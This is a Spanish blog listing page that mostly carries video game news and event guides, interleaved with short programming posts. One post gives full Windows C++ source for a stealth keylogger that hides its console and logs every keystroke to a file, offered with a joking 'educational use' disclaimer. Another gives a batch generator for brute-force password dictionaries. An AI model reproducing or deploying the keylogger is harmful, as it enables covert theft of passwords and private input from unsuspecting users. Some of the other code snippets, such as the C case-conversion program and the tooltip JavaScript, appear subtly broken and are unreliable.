Inicio Blog Página 20

[Feria de la luna negra] Jabalí de Añublo

0

¡La banda de los Jabalí de Añublo ha invadido la feria de la luna negra! A la media hora de cada hora,le dará caña a un tema de death metal. Enfrentaos al caballero metalero para obtener logros, consumibles y una oportunidad al mes de conseguir un yelmo brutal o una flipante maza guitarra.

Jabalí de Añublo es un mini-evento en la Feria de la Luna Negra. El evento es cada hora empezando a las 00:30 del día en que empieza la feria.

El concierto tiene lugar en una zona de PNJ’s No-Muertos llamada Caldero del Rock, el cual es un escenario fantasmal y rodeado de lápidas.

Cada hora, los PNJ’s No-Muertos corren a la zona para coger el mejor sitio para el espectáculo. El productor http://es.wowhead.com/npc=120928 presenta a los Jabalí de Añublo y todos los PNJ’s empiezan a bailar.
Al poco tiempo, aparece el http://es.wowhead.com/npc=122899 que intentara arruinar el concierto. ¡Hay que detenerle!

¿Como ganar puntos?

Durante el evento obtendremos un “beneficio”, el cual nos muestra nuestra puntuación de fan. ¡Debemos proteger la banda!
Ganaras puntos al derrotar a http://es.wowhead.com/npc=122899, entrar en los haces de luz y esquivar a los espíritus.
Pasaras por varios niveles de fan: http://es.wowhead.com/spell=245063/, http://es.wowhead.com/spell=245065/, http://es.wowhead.com/spell=245066/ y finalmente http://es.wowhead.com/spell=245102 que permanecerá durante 24 horas.

Recompensas:

Yelmos-Jaula: http://es.wowhead.com/item=151254/, http://es.wowhead.com/item=151253/, http://es.wowhead.com/item=151252/ y http://es.wowhead.com/item=151251/. Si lo equipas y utilizas la guitarra, http://es.wowhead.com/spell=246193/, tu personaje se transformara en http://es.wowhead.com/npc=121528/.

Nuevo juguete: http://es.wowhead.com/item=151265/ Canalizas una actuación épica de los Jabalí de Añublo. Te transforma en el miembro de la banda http://es.wowhead.com/npc=121527/.

Guitarra épica transfigurable: http://es.wowhead.com/item=151255

Logros:

http://es.wowhead.com/achievement=11918/: Solo por asistir.
http://es.wowhead.com/achievement=11921/: Ningún necrofago debe llegar a tocar a http://es.wowhead.com/npc=121527 cuando baje del escenario.
http://es.wowhead.com/achievement=11920/: Participar en una actuación perfecta
http://es.wowhead.com/achievement=11919/: Haz que te asignen todos los roles del grupo tras participar en el concierto de los Jabalí de Añublo.

Como conseguir los roles:

Objetos obtenidos de http://es.wowhead.com/npc=122899 (Aparte de los yelmos, guitarra y juguete)

Los palos fluorescentes también son vendidos por http://es.wowhead.com/npc=123735 junto a máscaras con tema de Jabalí de Añublo:

[CSS] Triángulos con box shadows [Derecha,Izquierda,Arriba y Abajo]

0

En este código sabremos crear bocadillos de texto con sombras correctamente, muchos lo hacen e implementan mal el código ya que la sombra muestra el triángulo en blanco cuando no debería ser.

var botones = document.querySelectorAll("button");
for (var x = 0; x < botones.length; x++) {
botones.addEventListener("click", function() {
document.querySelector(".arrow").className = "arrow " + this.dataset.lado;
});
}

El javascript es para cambiar el lado del triángulo del bocadillo.

* {
margin: 0;
padding: 0;
box-sizing: border-box;
}

.tooltip {
text-decoration: underline;
color: #37b9b5;
cursor: default;
}

.tooltip-bubble {
position: absolute;
z-index: 1;
padding: 5px 10px;
color: #fff;
width: auto;
box-shadow: 7px 7px 11px 0px rgba(112, 111, 111, 0.3);
background-color: transparent;
border-radius: 10px;
margin:50px; /* añadido para que se vea mejor, bórralo después */
}

.tooltip-bubble div {
position: relative;
z-index: 1;
font-size: 12px;
}

.tooltip-bubble::before {
position: absolute;
content: '';
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: #706f6f;
border-radius: 10px;
}

.tooltip-bubble .arrow {
content: '';
display: block;
position: absolute;
width: 16px;
height: 16px;
border:0;
box-shadow: 7px 7px 11px 0px rgba(112, 111, 111, 0.3);
background:#706f6f;
transform:rotate(45deg);
z-index:-1;
left: -3px;
top:calc(50% - 8px);
}

.tooltip-bubble .arrow.down {
top: calc(100% - 8px);
left: calc(50% - 8px);
}

.tooltip-bubble .arrow.up {
top: -8px;
left: calc(50% - 8px);
}

.tooltip-bubble .arrow.right {
left:auto;
right:-3px;
}
<div class="tooltip-bubble">
<div>Tutorial de uso</div>
<div class="arrow down"></div>
</div>

<button data-lado="left">Izquierda</button>
<button data-lado="right">Derecha</button>
<button data-lado="up">Arriba</button>
<button data-lado="down">Abajo</button>

[Cómic] La elegida

0

Los sacerdotes de Rathma parten en un largo viaje para probar su devoción al equilibrio. Solo unos pocos son aceptados, y apenas unos cuantos consiguen controlar su magia oscura conteniendo sus emociones y dominando la imparcialidad.

Uníos a nosotros, héroes, mientras repasamos el viaje de cierta aprendiz antes de que viera por primera vez Nueva Tristán…




la elegida diablo 3

Fuente

[c++] Keylogger

0

Haciendo una limpieza de disco duro, encontre el código fuente en c++ de un keylogger , no me acuerdo si lo he programado yo o lo encontré en algun lado, la fecha de modificación es del 2009.

No hagáis maldades , es para uso educativo jeje.

#include <iostream> 
using namespace std; 
#include <windows.h> 
#include <winuser.h> 
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
Stealth(); 
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); 
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", ""); 
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); 
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) 
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth, 0);
}

 

[C] Convertir las letras acentuadas a mayúsculas

0

main.c

 

#include <string.h>
#include <stdio.h>

#include "conversion.iso-8859-15.c"

void convertir_minusculas(char* buffer) {
  unsigned char* indice;
  while (*buffer) {
    indice = strchr(mayusculas, *buffer);
    if (indice != NULL) {
      *buffer = minusculas;
    }
    buffer++;
  }
}

void convertir_mayusculas(char* buffer) {
  unsigned char* indice;
  while (*buffer) {
    indice = strchr(minusculas, *buffer);
    if (indice != NULL) {
      *buffer = mayusculas;
    }
    buffer++;
  }
}

void main(void) {
  char buffer;
  printf("%s\n%s\n", mayusculas, minusculas);
  while (!feof(stdin)) {
    fgets(buffer, 250, stdin);
    convertir_minusculas(buffer);
    puts(buffer);
    convertir_mayusculas(buffer);
    puts(buffer);
    *buffer = 0;
  }
}

 

 

conversion.iso-8859-15.c

unsigned char mayusculas[] = {
  0x41, // 0x0041 # LATIN CAPITAL LETTER A
  0xC6, // 0x00C6 # LATIN CAPITAL LETTER AE
  0xC1, // 0x00C1 # LATIN CAPITAL LETTER A WITH ACUTE
  0xC2, // 0x00C2 # LATIN CAPITAL LETTER A WITH CIRCUMFLEX
  0xC4, // 0x00C4 # LATIN CAPITAL LETTER A WITH DIAERESIS
  0xC0, // 0x00C0 # LATIN CAPITAL LETTER A WITH GRAVE
  0xC5, // 0x00C5 # LATIN CAPITAL LETTER A WITH RING ABOVE
  0xC3, // 0x00C3 # LATIN CAPITAL LETTER A WITH TILDE
  0x42, // 0x0042 # LATIN CAPITAL LETTER B
  0x43, // 0x0043 # LATIN CAPITAL LETTER C
  0xC7, // 0x00C7 # LATIN CAPITAL LETTER C WITH CEDILLA
  0x44, // 0x0044 # LATIN CAPITAL LETTER D
  0x45, // 0x0045 # LATIN CAPITAL LETTER E
  0xD0, // 0x00D0 # LATIN CAPITAL LETTER ETH
  0xC9, // 0x00C9 # LATIN CAPITAL LETTER E WITH ACUTE
  0xCA, // 0x00CA # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
  0xCB, // 0x00CB # LATIN CAPITAL LETTER E WITH DIAERESIS
  0xC8, // 0x00C8 # LATIN CAPITAL LETTER E WITH GRAVE
  0x46, // 0x0046 # LATIN CAPITAL LETTER F
  0x47, // 0x0047 # LATIN CAPITAL LETTER G
  0x48, // 0x0048 # LATIN CAPITAL LETTER H
  0x49, // 0x0049 # LATIN CAPITAL LETTER I
  0xCD, // 0x00CD # LATIN CAPITAL LETTER I WITH ACUTE
  0xCE, // 0x00CE # LATIN CAPITAL LETTER I WITH CIRCUMFLEX
  0xCF, // 0x00CF # LATIN CAPITAL LETTER I WITH DIAERESIS
  0xCC, // 0x00CC # LATIN CAPITAL LETTER I WITH GRAVE
  0x4A, // 0x004A # LATIN CAPITAL LETTER J
  0x4B, // 0x004B # LATIN CAPITAL LETTER K
  0x4C, // 0x004C # LATIN CAPITAL LETTER L
  0x4D, // 0x004D # LATIN CAPITAL LETTER M
  0x4E, // 0x004E # LATIN CAPITAL LETTER N
  0xD1, // 0x00D1 # LATIN CAPITAL LETTER N WITH TILDE
  0x4F, // 0x004F # LATIN CAPITAL LETTER O
  0xD3, // 0x00D3 # LATIN CAPITAL LETTER O WITH ACUTE
  0xD4, // 0x00D4 # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
  0xD6, // 0x00D6 # LATIN CAPITAL LETTER O WITH DIAERESIS
  0xD2, // 0x00D2 # LATIN CAPITAL LETTER O WITH GRAVE
  0xD8, // 0x00D8 # LATIN CAPITAL LETTER O WITH STROKE
  0xD5, // 0x00D5 # LATIN CAPITAL LETTER O WITH TILDE
  0x50, // 0x0050 # LATIN CAPITAL LETTER P
  0x51, // 0x0051 # LATIN CAPITAL LETTER Q
  0x52, // 0x0052 # LATIN CAPITAL LETTER R
  0x53, // 0x0053 # LATIN CAPITAL LETTER S
  0x54, // 0x0054 # LATIN CAPITAL LETTER T
  0xDE, // 0x00DE # LATIN CAPITAL LETTER THORN
  0x55, // 0x0055 # LATIN CAPITAL LETTER U
  0xDA, // 0x00DA # LATIN CAPITAL LETTER U WITH ACUTE
  0xDB, // 0x00DB # LATIN CAPITAL LETTER U WITH CIRCUMFLEX
  0xDC, // 0x00DC # LATIN CAPITAL LETTER U WITH DIAERESIS
  0xD9, // 0x00D9 # LATIN CAPITAL LETTER U WITH GRAVE
  0x56, // 0x0056 # LATIN CAPITAL LETTER V
  0x57, // 0x0057 # LATIN CAPITAL LETTER W
  0x58, // 0x0058 # LATIN CAPITAL LETTER X
  0x59, // 0x0059 # LATIN CAPITAL LETTER Y
  0xDD, // 0x00DD # LATIN CAPITAL LETTER Y WITH ACUTE
  0xBE, // 0x0178 # LATIN CAPITAL LETTER Y WITH DIAERESIS
  0x5A, // 0x005A # LATIN CAPITAL LETTER Z
  0    // Fin de cadena
};
unsigned char minusculas[] = {
  0x61, // 0x0061 # LATIN SMALL LETTER A
  0xE6, // 0x00E6 # LATIN SMALL LETTER AE
  0xE1, // 0x00E1 # LATIN SMALL LETTER A WITH ACUTE
  0xE2, // 0x00E2 # LATIN SMALL LETTER A WITH CIRCUMFLEX
  0xE4, // 0x00E4 # LATIN SMALL LETTER A WITH DIAERESIS
  0xE0, // 0x00E0 # LATIN SMALL LETTER A WITH GRAVE
  0xE5, // 0x00E5 # LATIN SMALL LETTER A WITH RING ABOVE
  0xE3, // 0x00E3 # LATIN SMALL LETTER A WITH TILDE
  0x62, // 0x0062 # LATIN SMALL LETTER B
  0x63, // 0x0063 # LATIN SMALL LETTER C
  0xE7, // 0x00E7 # LATIN SMALL LETTER C WITH CEDILLA
  0x64, // 0x0064 # LATIN SMALL LETTER D
  0x65, // 0x0065 # LATIN SMALL LETTER E
  0xF0, // 0x00F0 # LATIN SMALL LETTER ETH
  0xE9, // 0x00E9 # LATIN SMALL LETTER E WITH ACUTE
  0xEA, // 0x00EA # LATIN SMALL LETTER E WITH CIRCUMFLEX
  0xEB, // 0x00EB # LATIN SMALL LETTER E WITH DIAERESIS
  0xE8, // 0x00E8 # LATIN SMALL LETTER E WITH GRAVE
  0x66, // 0x0066 # LATIN SMALL LETTER F
  0x67, // 0x0067 # LATIN SMALL LETTER G
  0x68, // 0x0068 # LATIN SMALL LETTER H
  0x69, // 0x0069 # LATIN SMALL LETTER I
  0xED, // 0x00ED # LATIN SMALL LETTER I WITH ACUTE
  0xEE, // 0x00EE # LATIN SMALL LETTER I WITH CIRCUMFLEX
  0xEF, // 0x00EF # LATIN SMALL LETTER I WITH DIAERESIS
  0xEC, // 0x00EC # LATIN SMALL LETTER I WITH GRAVE
  0x6A, // 0x006A # LATIN SMALL LETTER J
  0x6B, // 0x006B # LATIN SMALL LETTER K
  0x6C, // 0x006C # LATIN SMALL LETTER L
  0x6D, // 0x006D # LATIN SMALL LETTER M
  0x6E, // 0x006E # LATIN SMALL LETTER N
  0xF1, // 0x00F1 # LATIN SMALL LETTER N WITH TILDE
  0x6F, // 0x006F # LATIN SMALL LETTER O
  0xF3, // 0x00F3 # LATIN SMALL LETTER O WITH ACUTE
  0xF4, // 0x00F4 # LATIN SMALL LETTER O WITH CIRCUMFLEX
  0xF6, // 0x00F6 # LATIN SMALL LETTER O WITH DIAERESIS
  0xF2, // 0x00F2 # LATIN SMALL LETTER O WITH GRAVE
  0xF8, // 0x00F8 # LATIN SMALL LETTER O WITH STROKE
  0xF5, // 0x00F5 # LATIN SMALL LETTER O WITH TILDE
  0x70, // 0x0070 # LATIN SMALL LETTER P
  0x71, // 0x0071 # LATIN SMALL LETTER Q
  0x72, // 0x0072 # LATIN SMALL LETTER R
  0x73, // 0x0073 # LATIN SMALL LETTER S
  0x74, // 0x0074 # LATIN SMALL LETTER T
  0xFE, // 0x00FE # LATIN SMALL LETTER THORN
  0x75, // 0x0075 # LATIN SMALL LETTER U
  0xFA, // 0x00FA # LATIN SMALL LETTER U WITH ACUTE
  0xFB, // 0x00FB # LATIN SMALL LETTER U WITH CIRCUMFLEX
  0xFC, // 0x00FC # LATIN SMALL LETTER U WITH DIAERESIS
  0xF9, // 0x00F9 # LATIN SMALL LETTER U WITH GRAVE
  0x76, // 0x0076 # LATIN SMALL LETTER V
  0x77, // 0x0077 # LATIN SMALL LETTER W
  0x78, // 0x0078 # LATIN SMALL LETTER X
  0x79, // 0x0079 # LATIN SMALL LETTER Y
  0xFD, // 0x00FD # LATIN SMALL LETTER Y WITH ACUTE
  0xFF, // 0x00FF # LATIN SMALL LETTER Y WITH DIAERESIS
  0x7A, // 0x007A # LATIN SMALL LETTER Z
  0    // Fin de cadena
};

 

 

 

[Batch] Generador de diccionario

0

Con este código de lotes generamos un diccionario para fuerza bruta con la longitud deseada, ojo, cuanto más larga sea, más tiempo necesitará para terminarlo

diccionario.bat

@echo off
title Generador de diccionario - Fuerza Bruta -
color 0a
setlocal enabledelayedexpansion
:ini
if exist dic.txt del /f /q dic.txt
cls
echo.
set /p long="Longitud >:"
if not defined long goto ini
echo  Generando...
echo  Por favor Espere.
set c=0

:main
for %%a in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%b in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%c in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%d in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%e in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%f in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%g in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%h in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%i in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%j in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%k in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%l in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%m in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%n in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%o in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%p in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%q in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%r in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%s in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%t in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%u in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%v in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%w in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%x in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%y in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%z in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
call :comp %%a%%b%%c%%d%%e%%f%%g%%h%%i%%j%%k%%l%%m%%n%%o%%p%%q%%r%%s%%t%%u%%v%%w%%x%%y%%z
)
set c=1
)
set c=2
)
set c=3
)
set c=4
)
set c=5
)
set c=6
)
set c=7
)
set c=8
)
set c=9
)
set c=10
)
set c=11
)
set c=12
)
set c=13
)
set c=14
)
set c=15
)
set c=16
)
set c=17
)
set c=18
)
set c=19
)
set c=20
)
set c=21
)
set c=22
)
set c=23
)
set c=24
)
set c=25
)
goto :fin

:comp
set word=%*
set dic=!word:~-%long%!
echo %dic% >>dic.txt
if %c%==%long% goto :fin
goto :eof

:fin
echo  Finalizado...OK.
pause
exit

 

¿A quien pertenece DOTA?

0

La posesión de la propiedad intelectual de DOTA se ha puesto en disputa en un juicio.

Este tema viene de largo. Valve y Blizzard se disputaron en su momento la IP de DOTA. Se resolvió en 2012 fuera de juicio con el resultado de que Valve posee la IP “DOTA” para lanzar juegos completos y Blizzard puede lanzar mods de sus franquicias con el nombre DOTA (como Warcraft DOTA o Starcraft DOTA).

Dos compañías de juegos para móviles (Lilith Games y uCool) han empleado personajes y trasfondo de DOTA para sus juegos y han sido demandadas tanto por Valve como por Blizzard, pero el asunto es bastante complejo y las compañías de móviles han puesto en duda la posesión de la IP por parte de Valve. Para entender esto, hay que repasar la historia de DOTA. Este mod de Warcraft III tuvo a tres personas envueltas en su proceso creativo en distintos momentos: Eul (Kyle Sommer), Guinsoo (Stephen Feak) y IceFrog (Abdul Ismail).

Eul fue el creador del mod original de DOTA en 2002, con lo que es propietario legítimo de los derechos del trasfondo, los héroes, las reglas y el nombre. Retened este dato, será importante más adelante. Otros modders cogerían partes de este juego para convertirlo en Dota All-Stars bajo el mando de Guinsoo, que asume la responsabilidad del proyecto en 2003. En 2005, IceFrog toma el relevo y se convierte en el responsable del proyecto durante su última etapa. Eul y IceFrog vendieron sus derechos de propiedad a Valve, mientras que Guinsoo se fue a Riot Games para trabajar en League of Legends.

Lilith Games y uCool afirman que Eul no puede vender sus derechos, ya que en 2004 indicó en un post que el proyecto DOTA pasaba a ser Open Source y en ese momento perdió los derechos sobre DOTA. A esto se suma otro problema: la licencia de Warcraft III impide explícitamente el uso comercial de los mods, lo cual chocaría con vendérselo a Valve.

Ahora será un jurado el que tendrá que decidir cómo se resuelve este caso; quién es el poseedor legítimo de la licencia DOTA y quién tiene derecho a crear juegos basados en ella. Seguiremos el caso con atención.

Fuente

¡PRESUMID DE DESTREZA CON LAS PROVOCACIONES MAESTRAS!

1

¡PRESUMID DE DESTREZA CON LAS PROVOCACIONES MAESTRAS!

En el transcurso de la historia de Heroes of the Storm, siempre hemos disfrutado ofreciendo a los jugadores diversas formas de alardear de sus logros personales. Se trata, de hecho, de una idea que se ha materializado en multitud de formas a lo largo de tiempo: desde características más recientes, como el MVP y las menciones, al sistema «a tope» y las estadísticas personalizadas, pasando por otras más fundamentales, como los niveles y las ligas de partidas clasificatorias, las recompensas de temporada, los retratos maestros y de héroe, y los aspectos maestros.

Sobre los aspectos maestros

Cuando añadimos los aspectos maestros a Heroes of the Storm, pretendíamos que os sirvieran para presumir de la experiencia que teníais y la inversión de tiempo que habíais hecho con vuestros héroes favoritos. Sin embargo, al reevaluar el sistema, nos dimos cuenta de que había ciertos aspectos que podíamos mejorar.

Los aspectos maestros daban lugar a situaciones en las que los jugadores se veían forzados a tener que elegir entre desbloquear un héroe o un aspecto maestro y, normalmente, se decantaban por los primeros. Además, una vez adquirido un aspecto maestro, debían decidir si usarlo o usar otro aspecto en el juego. Lo que significaba que no podían mostrar de manera visual su destreza con un héroe en el juego, si había otro aspecto que les gustara más que el aspecto maestro.

Como resultado de todas estas cuestiones, el número de jugadores que desbloqueaban y usaban los aspectos maestros en el juego era muy inferior al esperado. La mayoría de los jugadores que tenían acceso a los aspectos maestros no los desbloqueaban, y la mayoría de los que sí lo hacían no los usaban como primera opción en las partidas.

En Heroes 2.0, hemos decidido adoptar un nuevo sistema que destaque la destreza que tenéis con vuestros héroes favoritos sin obligaros a tomar esas decisiones tan difíciles.

Han llegado las provocaciones maestras

Heroes of the Storm 2.0 está a la vuelta de la esquina y nos complace poder ofreceros una nueva manera de presumir de dedicación con vuestros héroes: ¡las provocaciones maestras!

Cada vez que uséis una provocación en el juego con un héroe que haya alcanzado el nivel 15 o más (equivalente al nivel 10 en el anterior sistema de progresión), aparecerán unos efectos visuales exclusivos «de maestría» sobre él. El héroe reproducirá, además, la animación correspondiente a la provocación y la frase que hayáis seleccionado para su equipación. Pero las provocaciones maestras no terminan en el nivel 15. ¡Sus efectos visuales seguirán evolucionando a lo largo de varios niveles y se harán más impresionantes a medida que vaya ascendiendo en el sistema de progresión!

En un primer momento, cuando Heroes 2.0 llegue a la versión en vivo del juego (el 25 de abril), solo estarán disponibles las provocaciones maestras que se desbloquean en el nivel 15 de héroe. Sin embargo, en los próximos parches tenemos pensado introducir provocaciones maestras en los niveles de héroe 25, 50, 75, y 100. Aparte de poder desbloquear provocaciones maestras, los jugadores que ya tenían aspectos maestros antes de Heroes 2.0 los conservarán y adquirirán de forma permanente las dos variaciones adicionales de los aspectos tras el lanzamiento.

¡La temporada 3 del JcJ de Legion terminará el 13 de junio!

0

¡Atención, competidores de arenas y campos de batalla! Pronto terminará la temporada 3 del JcJ de Legion.

RECOMPENSAS DEL FINAL DE TEMPORADA DE LA TEMPORADA 3

Si habéis participado en la temporada 3, tened en cuenta lo siguiente para recibir las recompensas que merecéis:

    • No transfiráis vuestro(s) personaje(s) a otro reino o facción hasta que la temporada 3 haya finalizado.
    • Los títulos y las monturas de la temporada 3 se entregarán aproximadamente dos semanas después de que termine la temporada.

RECOMPENSAS BASADAS EN FACCIONES

No olvidéis que las recompensas del final de temporada se basan en las facciones. Si transferís vuestro personaje a otra facción, tendréis que conseguir 150 victorias tras la transferencia para poder recibir la recompensa.

¿Qué posición habréis alcanzado cuando termine la temporada?

Recompensas:
http://es.wowhead.com/item=141845 y http://es.wowhead.com/title=508/cruel-gladiator

Puntuación de corte estimada para arenas 3c3

– Gladiador cruel (Horda): 2735
– Gladiador cruel (Alianza): 2856
– Gladiador (Horda): 2481
– Gladiador (Alianza): 2606
– Duelista (Horda): 2105
– Duelista (Alianza): 2195
– Rival (Horda): 1838
– Rival (Alianza): 1905
– Contendiente (Horda): 1582
– Contendiente (Alianza): 1608

Puntuación de corte estimada para campos de batalla puntuados

– Héroe de la Horda: 2278
– Héroe de la Alianza: 2431
– Guardián de la Horda: 1981
– Guardián de la Alianza: 2086
– Defensor de la Horda: 1783
– Defensor de la Alianza: 1843
– Soldado de la Horda: 1622
– Soldado de la Alianza: 1640

¡El pack Despertar del Nigromante llega el 27 de junio!

0

Aprestad vuestros corazones y preparaos para luchar por el equilibrio, nephalem. Solo falta una semana: ¡el pack Despertar del Nigromante llega el 27 de junio a PC, PlayStation 4 y Xbox One!

Los sacerdotes de Rathma, individuos serenos y calculadores, saben desde hace tiempo lo que realmente está en juego en el Conflicto Eterno. Estos maestros de la sangre, el hueso y las artes oscuras, llamados muchas veces nigromantes por quienes no saben de su orden, están acostumbrados a ser objeto de malentendidos. Pero quienes se adentran en su senda, consagrados a la defensa del equilibrio a toda costa, no ven mal ni bien en sus actos, solo obediencia al ciclo del ser.

Despertar del Nigromante es un pack de contenido que se puede comprar para Diablo III: Reaper of Souls y Diablo III: Ultimate Evil Edition. Sale a la venta el 27 de junio del 2017 para PC, PlayStation 4 y Xbox One por un precio de 14,99 €.

Cinemáticas introductorias del nigromante

Preguntas frecuentes

P. ¿Qué es el pack Despertar del Nigromante?
R. Despertar del Nigromante es un pack de contenido que se puede comprar para Diablo III: Reaper of Souls y Diablo III: Ultimate Evil Edition.

P. ¿Qué incluye el pack Despertar del Nigromante?
R. Además de acceso completo a la clase del nigromante, tanto en la campaña como en el modo Aventura, el Despertar del Nigromante incluye una serie de artículos digitales en exclusiva:

  • Una mascota sin valor de combate
  • Un par de alas cosméticas
  • Una forma de estandarte, un sigilo y detalles nuevos, basados en el nigromante
  • Un marco de retrato del nigromante
  • Un blasón
  • Dos casillas de personaje más
  • Dos pestañas del alijo más*

*Salvo en consola

P. ¿Y qué pasa con el resto de las cosas que trae el parche 2.6.0?
R. Las fallas de desafío, la zona de los Eriales Velados, el Templo de los Primogénitos y los Reinos del destino son contenidos gratuitos. Si tenéis la expansión Reaper of Souls, podréis usarlas sin tener que hacer ningún desembolso.

P. ¿Cuándo se podrá comprar el pack?
R. El pack se pone a la venta el 27 de junio del 2017, una vez que concluyan las tareas de mantenimiento en vuestra región.

Nota: en el caso de PlayStation 4 en Japón, aunque el parche estará disponible la mañana del 27 de junio, el pack Despertar del Nigromante y la Eternal Collection no se pondrán a la venta hasta por la tarde. Durante las 12 primeras horas del ciclo del parche, puede que os encontréis con un mensaje de error que diga «Producto no disponible».

P. ¿Qué costará el pack?
R. El pack Despertar del Nigromante costará 14,99 $ en Norteamérica. Para el resto de las regiones, podéis encontrar el precio en la página de Diablo de vuestra zona.

P. ¿Cómo puedo comprar el pack Despertar del Nigromante?
R. En el caso de PC, podéis comprarlo tanto directamente, a través de una nueva interfaz, como en la Tienda Blizzard. En el caso de PlayStation 4 y Xbox One, podéis adquirirlo en PlayStation™ Store o la Tienda de Xbox One, respectivamente.

P. ¿Habrá una edición física de Despertar del Nigromante?
R. Como se trata de un paquete de contenido digital y no de una expansión, el pack Despertar del Nigromante no estará disponible como producto físico.

P. ¿Qué es Diablo III: Eternal Collection?
R. Los jugadores de PlayStation 4 y Xbox One tendrán la ocasión de comprar un paquete completo del juego, la Eternal Collection. Contiene tanto Diablo III: Ultimate Evil Edition como el pack Despertar del Nigromante y estará disponible a un precio especial de lanzamiento de 39,99 € (y a 69,99 € posteriormente).

P. ¿Se podrá jugar a Despertar del Nigromante desde medianoche?
R. No. Para usar el pack Despertar del Nigromante, hay que tener instalado el parche 2.6.0; una vez que concluyan las tareas de mantenimiento en vuestra región, podréis comprar y utilizar el pack Despertar del Nigromante.

P. ¿Cuándo comenzarán las tareas de mantenimiento?
R.
PC:
NA/SA/ANZ: 10:00 PDT
EU: 23:00 CEST
KR/TW: (29 de junio) 2:00 KST
CN: (29 de junio) 5:00 CST

Consolas
Todas las regiones salvo JPN: 20:00 PDT
JPN: (28 de junio) 12:00 JST

P. ¿Cuánto durarán las tareas de mantenimiento?
R. Normalmente, suelen durar entre una y dos horas; no obstante, esto puede variar casi sin previo aviso. Seguid a @BlizzardCSEU_ES si queréis recibir puntualmente todos los mensajes sobre mantenimiento.

P. ¿Dónde puedo encontrar más información sobre la clase del nigromante?
R. Hemos publicado una serie de blogs con información. ¡Podéis encontrarlos a continuación! Además, a medida que se acerque la fecha de lanzamiento, publicaremos más noticias y contenidos en nuestra portada.

Página de la tienda

Fuente